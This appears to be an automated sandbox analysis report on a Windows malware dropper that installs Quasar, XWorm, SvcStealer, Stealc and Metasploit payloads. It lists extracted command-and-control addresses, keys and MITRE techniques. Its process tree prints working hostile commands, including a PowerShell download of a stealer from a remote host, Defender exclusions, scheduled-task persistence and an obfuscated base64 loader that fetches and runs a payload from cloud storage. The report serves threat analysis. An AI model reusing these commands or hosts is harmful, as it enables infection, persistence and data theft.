metasploit | bfdc255d45686026ca45851aa64bfeb62534df501f6d8b1aa00d98989a37ce82

Resubmissions

29/07/2026, 09:27

260729-le461adl4y10

25/07/2026, 16:39

08/11/2025, 17:35

02/11/2025, 23:51

01/11/2025, 12:53

01/11/2025, 12:49

01/11/2025, 04:57

31/10/2025, 18:11

Analysis

max time kernel
78s
max time network
89s
platform
windows10-2004_x64
resource
win10v2004-20251016-en
resource tags

arch:x64arch:x86image:win10v2004-20251016-enlocale:en-usos:windows10-2004-x64system
submitted
01/11/2025, 12:49

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
2to1ep.exe
Size 13.1MB
Sample251101-p2d5wasnhj
SHA256 65ba3988d38f83b9ee1f31cafa5bd37dc6b72279f5618aac94d71a904efa0cac
MD5 7d1a85e807ff9b48edc2e08a01b35e07
SHA1 9d772258c620629c299bbad24c968b1cc476a6a1
SHA512 8553ca5d63c2667da0f1044a1c6d00713a5f7d826cd5e5e17cdcf1a2eed4ece844b7d16a06933c44273181d98d330eb944f8b72d835bdd31d75be7b3b75edc43
SSDEEP 196608:APPuglgRWUeR24iMqWNo2mtKVzurHm5POMP/XRL234tSoz2/Tsj+51nOxd:EPuhRW1R2JtWNhqKVzuC5zXA34tSQ
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

backdoor office04 defense_evasion discovery downloader execution metasploit quasar svcstealer xworm persistence privilege_escalation rat spyware stealer themida trojan upx

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://firebasestorage.googleapis.com/v0/b/loloer3434.firebasestorage.app/o/RODAHAZLO%2Fdllsky%20(7).txt?alt=media&token=434b9d0d-5a6c-4db8-9ad2-07383b7c2606
exe.dropper
https://firebasestorage.googleapis.com/v0/b/loloer3434.firebasestorage.app/o/RODAHAZLO%2Fdllsky%20(7).txt?alt=media&token=434b9d0d-5a6c-4db8-9ad2-07383b7c2606

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://firebasestorage.googleapis.com/v0/b/loloer3434.firebasestorage.app/o/RODAHAZLO%2Fdllsky%20(7).txt?alt=media&token=434b9d0d-5a6c-4db8-9ad2-07383b7c2606
exe.dropper
https://firebasestorage.googleapis.com/v0/b/loloer3434.firebasestorage.app/o/RODAHAZLO%2Fdllsky%20(7).txt?alt=media&token=434b9d0d-5a6c-4db8-9ad2-07383b7c2606

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://firebasestorage.googleapis.com/v0/b/loloer3434.firebasestorage.app/o/CIFRADO%20FFF3333%2Fnewdll.txt?alt=media&token=2a7619df-4ea7-43d3-9c6e-b74be01ff67f
exe.dropper
https://firebasestorage.googleapis.com/v0/b/loloer3434.firebasestorage.app/o/CIFRADO%20FFF3333%2Fnewdll.txt?alt=media&token=2a7619df-4ea7-43d3-9c6e-b74be01ff67f

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://firebasestorage.googleapis.com/v0/b/loloer3434.firebasestorage.app/o/RODAHAZLO%2Fdllsky%20(7).txt?alt=media&token=434b9d0d-5a6c-4db8-9ad2-07383b7c2606
exe.dropper
https://firebasestorage.googleapis.com/v0/b/loloer3434.firebasestorage.app/o/RODAHAZLO%2Fdllsky%20(7).txt?alt=media&token=434b9d0d-5a6c-4db8-9ad2-07383b7c2606

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://firebasestorage.googleapis.com/v0/b/loloer3434.firebasestorage.app/o/RODAHAZLO%2Fdllsky%20(7).txt?alt=media&token=434b9d0d-5a6c-4db8-9ad2-07383b7c2606
exe.dropper
https://firebasestorage.googleapis.com/v0/b/loloer3434.firebasestorage.app/o/RODAHAZLO%2Fdllsky%20(7).txt?alt=media&token=434b9d0d-5a6c-4db8-9ad2-07383b7c2606

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://firebasestorage.googleapis.com/v0/b/loloer3434.firebasestorage.app/o/RODAHAZLO%2Fdllsky%20(7).txt?alt=media&token=434b9d0d-5a6c-4db8-9ad2-07383b7c2606
exe.dropper
https://firebasestorage.googleapis.com/v0/b/loloer3434.firebasestorage.app/o/RODAHAZLO%2Fdllsky%20(7).txt?alt=media&token=434b9d0d-5a6c-4db8-9ad2-07383b7c2606

Extracted

Family

metasploit

Version

metasploit_stager

192.168.1.65:4444

Extracted

Family

quasar

Version

1.7.1

Botnet

Office04

158.94.208.102:8881

Mutex

d6480994-4be9-4dbb-b191-c09cf9e64cf4

Attributes

encryption_key
D2973F3069489602440049C54C37809627555190
install_name
Client.exe
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
log_directory
Logs
reconnect_delay
3000
startup_key
Quasar Modded Client Startup
subdirectory
SubDir

Extracted

Family

svcstealer

http://176.46.152.46/diamo/data.php
http://158.94.208.102/diamo/data.php
http://178.16.53.7/diamo/data.php
http://nikmok.dz/diamo/data.php
http://176.46.152.47/diamo/data.php

Attributes

bot_urls
http://213.226.113.54/bin/bot.dll
build_id
20/10/2025
srv_delay
1
srv_retry
1

Extracted

Family

xworm

Version

XWorm V6.4

armadengineering.com:6000

Mutex

uzsTsqjDTe2lzek0

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/11012-9844-0x0000000000400000-0x0000000000410000-memory.dmp	family_xworm

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit
Metasploit family
metasploit
Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/5520-7046-0x0000000000370000-0x0000000000428000-memory.dmp	family_quasar

SvcStealer, Diamotrix
SvcStealer aka Diamotrix Clipper is a stealer/downloader written in C++.
stealer downloader svcstealer
Svcstealer family
svcstealer
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 25 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
9452	powershell.exe
9556	powershell.exe
5500	powershell.exe
7876	powershell.exe
6808	powershell.exe
10700	powershell.exe
10388	powershell.exe
7012	powershell.exe
744	powershell.exe
7844	powershell.exe
2432	powershell.exe
8164	powershell.exe
3752	powershell.exe
7240	powershell.exe
4760	powershell.exe
7320	powershell.exe
7420	powershell.exe
5268	powershell.exe
6148	powershell.exe
5828	powershell.exe
7868	powershell.exe
7172	powershell.exe
8364	powershell.exe
6524	powershell.exe
1260	powershell.exe

Downloads MZ/PE file 10 IoCs

flow	pid	Process
32	1128	2to1ep.exe
22	1128	2to1ep.exe
44	1128	2to1ep.exe
20	1128	2to1ep.exe
19	1128	2to1ep.exe
45	1128	2to1ep.exe
31	1128	2to1ep.exe
21	1128	2to1ep.exe
24	1128	2to1ep.exe
30	1128	2to1ep.exe

Loads dropped DLL 21 IoCs

pid	Process
1128	2to1ep.exe
1128	2to1ep.exe
1128	2to1ep.exe
1128	2to1ep.exe
1128	2to1ep.exe
1128	2to1ep.exe
1128	2to1ep.exe
1128	2to1ep.exe
1128	2to1ep.exe
1128	2to1ep.exe
1128	2to1ep.exe
1128	2to1ep.exe
1128	2to1ep.exe
1128	2to1ep.exe
1128	2to1ep.exe
1128	2to1ep.exe
1128	2to1ep.exe
1128	2to1ep.exe
1128	2to1ep.exe
1128	2to1ep.exe
1128	2to1ep.exe

Themida packer 2 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral2/memory/8784-4721-0x0000000140000000-0x000000014079D000-memory.dmp	themida
behavioral2/memory/8784-8762-0x0000000140000000-0x000000014079D000-memory.dmp	themida

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\cache.txt	2to1ep.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5952	cmd.exe

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/720-245-0x00007FF7E89C0000-0x00007FF7E8AA4000-memory.dmp	upx
behavioral2/memory/720-2069-0x00007FF7E89C0000-0x00007FF7E8AA4000-memory.dmp	upx
behavioral2/memory/6372-9993-0x00007FF98E790000-0x00007FF98EE58000-memory.dmp	upx
behavioral2/memory/6372-10293-0x00007FF98E790000-0x00007FF98EE58000-memory.dmp	upx

Event Triggered Execution: Installer Packages 2 TTPs 5 IoCs

persistence privilege_escalation

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
7500	msiexec.exe
6528	msiexec.exe
2424	msiexec.exe
6716	msiexec.exe
3176	msiexec.exe

Program crash 3 IoCs

pid	pid_target	Process	procid_target
9468	8344	WerFault.exe	406
5336	2184	WerFault.exe	407
1672	4588	WerFault.exe	422

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
6772	PING.EXE

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	Taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	Taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	Taskmgr.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
6772	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 6 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2624	schtasks.exe
5440	schtasks.exe
9872	schtasks.exe
7464	schtasks.exe
9712	schtasks.exe
8004	schtasks.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1932	Taskmgr.exe
1932	Taskmgr.exe
1932	Taskmgr.exe
1932	Taskmgr.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1932	Taskmgr.exe
Token: SeSystemProfilePrivilege	1932	Taskmgr.exe
Token: SeCreateGlobalPrivilege	1932	Taskmgr.exe

Suspicious use of FindShellTrayWindow 14 IoCs

pid	Process
1932	Taskmgr.exe
1932	Taskmgr.exe
1932	Taskmgr.exe
1932	Taskmgr.exe
1932	Taskmgr.exe
1932	Taskmgr.exe
1932	Taskmgr.exe
1932	Taskmgr.exe
1932	Taskmgr.exe
1932	Taskmgr.exe
1932	Taskmgr.exe
1932	Taskmgr.exe
1932	Taskmgr.exe
1932	Taskmgr.exe

Suspicious use of SendNotifyMessage 14 IoCs

pid	Process
1932	Taskmgr.exe
1932	Taskmgr.exe
1932	Taskmgr.exe
1932	Taskmgr.exe
1932	Taskmgr.exe
1932	Taskmgr.exe
1932	Taskmgr.exe
1932	Taskmgr.exe
1932	Taskmgr.exe
1932	Taskmgr.exe
1932	Taskmgr.exe
1932	Taskmgr.exe
1932	Taskmgr.exe
1932	Taskmgr.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 512 wrote to memory of 1128	512	2to1ep.exe	85
PID 512 wrote to memory of 1128	512	2to1ep.exe	85
PID 1128 wrote to memory of 1308	1128	2to1ep.exe	88
PID 1128 wrote to memory of 1308	1128	2to1ep.exe	88
PID 1308 wrote to memory of 2624	1308	cmd.exe	89
PID 1308 wrote to memory of 2624	1308	cmd.exe	89
PID 1128 wrote to memory of 1860	1128	2to1ep.exe	90
PID 1128 wrote to memory of 1860	1128	2to1ep.exe	90
PID 1860 wrote to memory of 1932	1860	cmd.exe	91
PID 1860 wrote to memory of 1932	1860	cmd.exe	91
PID 1128 wrote to memory of 4344	1128	2to1ep.exe	94
PID 1128 wrote to memory of 4344	1128	2to1ep.exe	94

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2628	attrib.exe

C:\Users\Admin\AppData\Local\Temp\2to1ep.exe
"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:512
- C:\Users\Admin\AppData\Local\Temp\2to1ep.exe
  "C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"
  2⤵
  - Downloads MZ/PE file
  - Loads dropped DLL
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:1128
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1308
  - - C:\Windows\system32\schtasks.exe
      schtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2624
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C start c:\Windows\System32\Taskmgr.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1860
  - - \??\c:\Windows\System32\Taskmgr.exe
      c:\Windows\System32\Taskmgr.exe
      4⤵
      Checks SCSI registry key(s)
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      PID:1932
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c install_and_run.bat
    3⤵
    PID:4344
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Invoke-WebRequest -Uri 'http://ec2-13-60-240-8.eu-north-1.compute.amazonaws.com:8000/whatsapp_stealer.exe' -OutFile 'C:\whatsapp_stealer.exe'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:1260
- - C:\Users\Admin\AppData\Local\Temp\a\install_and_run.exe
    install_and_run.exe
    3⤵
    PID:2500
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c mode con:cols=0120 lines=0030
      4⤵
      PID:4532
    - - C:\Windows\SysWOW64\mode.com
        
        mode con:cols=0120 lines=0030
        5⤵
        
        PID:4944
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c title Window Title
      4⤵
      PID:4140
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c if not exist "C:\Users\Admin\AppData\Local\Temp\myfiles" mkdir "C:\Users\Admin\AppData\Local\Temp\myfiles"
      4⤵
      PID:8144
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c if not exist "C:\Users\Admin\AppData\Local\Temp\wtmpd" mkdir "C:\Users\Admin\AppData\Local\Temp\wtmpd"
      4⤵
      PID:11188
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c attrib +h C:\Users\Admin\AppData\Local\Temp\wtmpd
      4⤵
      Hide Artifacts: Hidden Files and Directories
      PID:5952
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c echo:0>C:\Users\Admin\AppData\Local\Temp\i6.t
      4⤵
      PID:9392
- - C:\Windows\SYSTEM32\wscript.exe
    wscript.exe cl.vbs
    3⤵
    PID:3200
- - C:\Users\Admin\AppData\Local\Temp\a\Software.exe
    Software.exe
    3⤵
    PID:4604
- - C:\Users\Admin\AppData\Local\Temp\a\random.exe
    random.exe
    3⤵
    PID:720
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c gold.bat
    3⤵
    PID:696
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c start.bat
    3⤵
    PID:4160
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i Adobeupdate.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:2424
- - C:\Users\Admin\AppData\Local\Temp\a\06bK6nU.exe
    06bK6nU.exe
    3⤵
    PID:3684
- - C:\Users\Admin\AppData\Local\Temp\a\F0wtv5v.exe
    F0wtv5v.exe
    3⤵
    PID:4312
- - C:\Users\Admin\AppData\Local\Temp\a\vnc.exe
    vnc.exe
    3⤵
    PID:4792
- - C:\Users\Admin\AppData\Local\Temp\a\122.exe
    122.exe
    3⤵
    PID:5048
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:7828
- - C:\Users\Admin\AppData\Local\Temp\a\payload_staged.exe
    payload_staged.exe
    3⤵
    PID:2312
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i Kontraernes.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:3176
- - C:\Users\Admin\AppData\Local\Temp\a\dPzCoRY.exe
    dPzCoRY.exe
    3⤵
    PID:4992
  - - C:\Windows\SYSTEM32\attrib.exe
      attrib.exe
      4⤵
      Views/modifies file attributes
      PID:2628
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd /c move Never.aspx Never.aspx.bat && Never.aspx.bat
      4⤵
      PID:8412
- - C:\Users\Admin\AppData\Local\Temp\a\q.exe
    q.exe
    3⤵
    PID:4304
- - C:\Users\Admin\AppData\Local\Temp\a\dfdsvc.exe
    dfdsvc.exe
    3⤵
    PID:4020
- - C:\Users\Admin\AppData\Local\Temp\a\Stealc.exe
    Stealc.exe
    3⤵
    PID:4948
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe"
      4⤵
      PID:7468
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
      4⤵
      PID:6352
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
      4⤵
      PID:7416
- - C:\Users\Admin\AppData\Local\Temp\a\rh_0.9.3.exe
    rh_0.9.3.exe
    3⤵
    PID:3584
- - C:\Users\Admin\AppData\Local\Temp\a\POO.exe
    POO.exe
    3⤵
    PID:4988
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\XIxnuXFz.exe"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:9556
  - - C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\XIxnuXFz" /XML "C:\Users\Admin\AppData\Local\Temp\tmp5649.tmp"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:7464
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
      4⤵
      PID:10868
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
      4⤵
      PID:11012
- - C:\Users\Admin\AppData\Local\Temp\a\2O7gWSz.exe
    2O7gWSz.exe
    3⤵
    PID:5028
- - C:\Users\Admin\AppData\Local\Temp\a\CYY.exe
    CYY.exe
    3⤵
    PID:1964
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\YbsjfxUqj.exe"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:9452
    - - C:\Windows\SysWOW64\wermgr.exe
        
        "C:\Windows\system32\wermgr.exe" "-outproc" "0" "9452" "1908" "1864" "1912" "0" "0" "1916" "0" "0" "0" "0" "0"
        5⤵
        
        PID:8032
  - - C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\YbsjfxUqj" /XML "C:\Users\Admin\AppData\Local\Temp\tmp55EB.tmp"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:9872
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
      4⤵
      PID:4136
- - C:\Users\Admin\AppData\Local\Temp\a\stageless.exe
    stageless.exe
    3⤵
    PID:220
- - C:\Users\Admin\AppData\Local\Temp\a\WOO.exe
    WOO.exe
    3⤵
    PID:4620
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\VLsbbsEdpRgP.exe"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:5500
  - - C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\VLsbbsEdpRgP" /XML "C:\Users\Admin\AppData\Local\Temp\tmp584C.tmp"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:9712
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
      4⤵
      PID:10772
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
      4⤵
      PID:10812
- - C:\Users\Admin\AppData\Local\Temp\a\1.exe
    1.exe
    3⤵
    PID:4832
- - C:\Users\Admin\AppData\Local\Temp\a\xiobv.exe
    xiobv.exe
    3⤵
    PID:3460
- - C:\Windows\SYSTEM32\wscript.exe
    wscript.exe sostener.vbs
    3⤵
    PID:5228
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $RqWSSdfd = 'W1N5c3RlbS5OZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgPSBbU3lzdGVtLk5ldC5TZWN1cml0eVByb3RvY29sVHlwZV06OlRsczEyOyR6RkthQS☹9ICdodHRwczovL2ZpcmViYXNlc3RvcmFnZS5nb29nbGVhcGlzLmNvbS92MC9iL2xvbG9lcjM0MzQuZmlyZWJhc2VzdG9yYWdlLmFwcC9vL1JPREFIQVpMTyUyRmRsbHNreSUyMCg3KS50eHQ/YWx0PW1lZGlhJnRva2VuPTQzNGI5ZDBkLTVhNmMtNGRiOC05YWQyLT☹3MzgzYjdjMjYwNicgOyRQeFB5dC☹9ICggW1N5c3RlbS5JTy5QYXRoXTo6R2V0VGVtcFBhdGgoKS☹rICdHT0FhcC50eHQnKTskd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudC☹7JExXaEFjID0gJHdlYkNsaWVudC5Eb3dubG9hZFN0cmluZyggJHpGS2FBICkgOyRMV2hBYyB8IE91dC1GaWxlIC1GaWxlUGF0aC☹kUHhQeXQgLUVuY29kaW5nICdVVEY4Jy☹tZm9yY2UgOyRTVGZHbC☹9ICggW1N5c3RlbS5JTy5QYXRoXTo6R2V0VGVtcFBhdGgoKS☹rICdHT0FhcC50eHQnKS☹7JERRZFBVID0gJ0xvYWQnIDskZm5tU0wgPS☹nSW52b2tlJzskUGFuQk4gPS☹kbnVsbDskSXFIcVEgPS☹gJzskeC☹9IChKb2luLVBhdGggJGVudjpURU1QICcnR09BYX☹udHh0JycpOyRyeWFlRy☹9IChHZXQtQ29udGVudC☹tUGF0aC☹keC☹tRW5jb2RpbmcgVVRGOCk7JHJ5YWVHID0gJHJ5YWVHLnJlcGxhY2UoJyckJCcnLC☹nJ0EnJyk7Jy☹7JElxSHFRICs9ICdbQnl0ZVtdXS☹ka1hUZmkgPSBbc3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKC☹kcnlhZUcgKS☹7Jy☹7JElxSHFRICs9ICdbU3lzdGVtLkFwcERvbWFpbl06Jy☹rICc6Q3VycmVudERvbWFpbi4nICsgJERRZFBVICsgJyggJGtYVGZpICkuJy☹7JElxSHFRICs9ICdHZXRUeXBlKC☹nJ0NsYXNzTGlicmFyeTMuQ2xhc3MxJycgKS5HZXRNJy☹7JElxSHFRICs9ICdldGhvZCggJydNc3FCSWJZJycgKS4nICsgJGZubVNMICsgJyggJFBhbkJOICwgW29iamVjdFtdXS☹oICggJydNUUE5QUd3QVpBQW1BSGdBTUFCb0FETUFOZ0I0QUdnQU9RQTlBSFFBY3dBbUFIY0FNQUI0QUdFQVlnQjRBRzBBZUFBMUFISUFjQUJwQURFQWFBQnVBR1FBT1FCcEFIWUFlQUJ3QUhFQVlnQTVBSFFBUFFCNUFHVUFhd0JzQUhJQVB3QjBBSGdBZEFBdUFESUFRd0F2QURNQU13QmtBSElBWmdCeUFHNEFiZ0J2QUhBQVpRQmpBRElBYndCekFEa0FkUUJoQUcwQWFRQmlBQzhBYVFCbUFDOEFiQUJqQUhNQUx3QnRBRzhBWXdBdUFIZ0Fid0JpQUhBQWJ3QnlBR1FBTGdCM0FIY0Fkd0F2QUM4QU9nQnpBSEFBZEFCMEFHZ0EnJy☹pICwgJyclSmtRYXNEZmdyVGclJycgLC☹nJ19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fLS0tLS0tLScnLC☹nJz☹nJywgJycxJycsICcnUm9kYScnIC☹pICkgOycgOyRWQldXei☹9ICggW1N5c3RlbS5JTy5QYXRoXTo6R2V0VGVtcFBhdGgoKS☹rICdEdlZicy5wczEnICkgOyRJcUhxUSB8IE91dC1GaWxlIC1GaWxlUGF0aC☹kVkJXV3ogIC1mb3JjZS☹7cG93ZXJzaGVsbC☹tRXhlY3V0aW9uUG9saWN5IEJ5cGFzcy☹tRmlsZS☹kVkJXV3ogOw==';$lvFxTsk = [system.Text.Encoding]::UTF8.GetString( [system.Convert]::FromBase64String( ($RqWSSdfd -replace '☹','A') ) );$lvFxTsk = ($lvFxTsk -replace '%JkQasDfgrTg%', 'C:$Users$Admin$AppData$Local$Temp$a$sostener.vbs');powershell $lvFxTsk;
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:7320
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$zFKaA = 'https://firebasestorage.googleapis.com/v0/b/loloer3434.firebasestorage.app/o/RODAHAZLO%2Fdllsky%20(7).txt?alt=media&token=434b9d0d-5a6c-4db8-9ad2-07383b7c2606' ;$PxPyt = ( [System.IO.Path]::GetTempPath() + 'GOAap.txt');$webClient = New-Object System.Net.WebClient ;$LWhAc = $webClient.DownloadString( $zFKaA ) ;$LWhAc | Out-File -FilePath $PxPyt -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'GOAap.txt') ;$DQdPU = 'Load' ;$fnmSL = 'Invoke';$PanBN = $null;$IqHqQ = ';$x = (Join-Path $env:TEMP ''GOAap.txt'');$ryaeG = (Get-Content -Path $x -Encoding UTF8);$ryaeG = $ryaeG.replace(''$$'', ''A'');' ;$IqHqQ += '[Byte[]] $kXTfi = [system.Convert]::FromBase64String( $ryaeG ) ;' ;$IqHqQ += '[System.AppDomain]:' + ':CurrentDomain.' + $DQdPU + '( $kXTfi ).' ;$IqHqQ += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$IqHqQ += 'ethod( ''MsqBIbY'' ).' + $fnmSL + '( $PanBN , [object[]] ( ( ''MQA9AGwAZAAmAHgAMABoADMANgB4AGgAOQA9AHQAcwAmAHcAMAB4AGEAYgB4AG0AeAA1AHIAcABpADEAaABuAGQAOQBpAHYAeABwAHEAYgA5AHQAPQB5AGUAawBsAHIAPwB0AHgAdAAuADIAQwAvADMAMwBkAHIAZgByAG4AbgBvAHAAZQBjADIAbwBzADkAdQBhAG0AaQBiAC8AaQBmAC8AbABjAHMALwBtAG8AYwAuAHgAbwBiAHAAbwByAGQALgB3AHcAdwAvAC8AOgBzAHAAdAB0AGgA'' ) , ''C:$Users$Admin$AppData$Local$Temp$a$sostener.vbs'' , ''____________________________________________-------'', ''0'', ''1'', ''Roda'' ) ) ;' ;$VBWWz = ( [System.IO.Path]::GetTempPath() + 'DvVbs.ps1' ) ;$IqHqQ | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10700
- - C:\Windows\SYSTEM32\wscript.exe
    wscript.exe andre.vbs
    3⤵
    PID:5236
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
